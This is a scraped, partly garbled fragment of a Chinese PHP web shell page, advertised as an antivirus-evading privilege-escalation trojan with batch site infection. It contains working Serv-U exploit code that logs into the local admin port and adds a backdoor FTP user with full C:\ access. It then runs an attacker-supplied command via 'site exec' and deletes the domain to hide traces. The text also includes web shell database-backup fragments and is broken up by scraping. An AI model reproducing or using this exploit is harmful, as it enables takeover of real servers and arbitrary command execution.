获取 URL 内容失败
| '.date("Y年m月d日 h:i:s",time()).' | '.$_SERVER['REMOTE_ADDR'].' |
| 请选择表: | '.$tb->makeselect(array('name'=>'table[]','option'=>$cachetables,'multiple'=>1,'size'=>15,'css'=>1)).' |
| 备份数据所保存的路径: | '.$tb->makeinput('path',$pathname.'/'.$_SERVER['HTTP_HOST'].'_MySQL.sql','','text','50').' |
| 直接下载到本地 (适合数据量较小的数据库) | |
| ".$info[$i][0]." | ".$info[$i][1]." | \n"; } } elseif ($a == 1) { for ($i=13;$i<=24;$i++) { echo "
| ".$info[$i][0]." | ".$info[$i][1]." |
| ".$info[$i][0]." | ".$info[$i][1]." |
| ";
$sendbuf = "";
$recvbuf = "";
$domain = "-SETDOMAIN\r\n".
"-Domain=haxorcitos|0.0.0.0|2121|-1|1|0\r\n".
"-TZOEnable=0\r\n".
" TZOKey=\r\n";
$adduser = "-SETUSERSETUP\r\n".
"-IP=0.0.0.0\r\n".
"-PortNo=2121\r\n".
"-User=Will_Be\r\n".
"-Password=Will_Be\r\n".
"-HomeDir=c:\\\r\n".
"-LoginMesFile=\r\n".
"-Disable=0\r\n".
"-RelPaths=1\r\n".
"-NeedSecure=0\r\n".
"-HideHidden=0\r\n".
"-AlwaysAllowLogin=0\r\n".
"-ChangePassword=0\r\n".
"-QuotaEnable=0\r\n".
"-MaxUsersLoginPerIP=-1\r\n".
"-SpeedLimitUp=0\r\n".
"-SpeedLimitDown=0\r\n".
"-MaxNrUsers=-1\r\n".
"-IdleTimeOut=600\r\n".
"-SessionTimeOut=-1\r\n".
"-Expire=0\r\n".
"-RatioUp=1\r\n".
"-RatioDown=1\r\n".
"-RatiosCredit=0\r\n".
"-QuotaCurrent=0\r\n".
"-QuotaMaximum=0\r\n".
"-Maintenance=None\r\n".
"-PasswordType=Regular\r\n".
"-Ratios=None\r\n".
" Access=c:\\|RELP\r\n";
$deldomain="-DELETEDOMAIN\r\n".
"-IP=0.0.0.0\r\n".
" PortNo=2121\r\n";
$sock = fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10);
$recvbuf = fgets($sock, 1024);
echo "Recv: $recvbuf "; $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; fputs($sock, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($sock, 1024); echo "Recv: $recvbuf "; $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; fputs($sock, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($sock, 1024); echo "Recv: $recvbuf "; $sendbuf = "SITE MAINTENANCE\r\n"; fputs($sock, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($sock, 1024); echo "Recv: $recvbuf "; $sendbuf = $domain; fputs($sock, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($sock, 1024); echo "Recv: $recvbuf "; $sendbuf = $adduser; fputs($sock, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($sock, 1024); echo "Recv: $recvbuf "; echo "********************************************************** "; echo "Starting Exploit ... "; echo "********************************************************** "; $exp = fsockopen("127.0.0.1", "2121", &$errno, &$errstr, 10); $recvbuf = fgets($exp, 1024); echo "Recv: $recvbuf "; $sendbuf = "USER Will_Be\r\n"; fputs($exp, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($exp, 1024); echo "Recv: $recvbuf "; $sendbuf = "PASS Will_Be\r\n"; fputs($exp, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($exp, 1024); echo "Recv: $recvbuf "; $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; fputs($exp, $sendbuf, strlen($sendbuf)); echo "Send: site exec ".$_POST["SUCommand"]." "; $recvbuf = fgets($exp, 1024); echo "Recv: $recvbuf "; echo "********************************************************** "; echo "Starting Delete Domain ... "; echo "********************************************************** "; $sendbuf = $deldomain; fputs($sock, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($sock, 1024); echo "Recv: $recvbuf "; echo " |
| 通过Serv-U 本地管理员帐号执行命令 |
| 发布<免杀超级PHP提权木马带批量挂马> |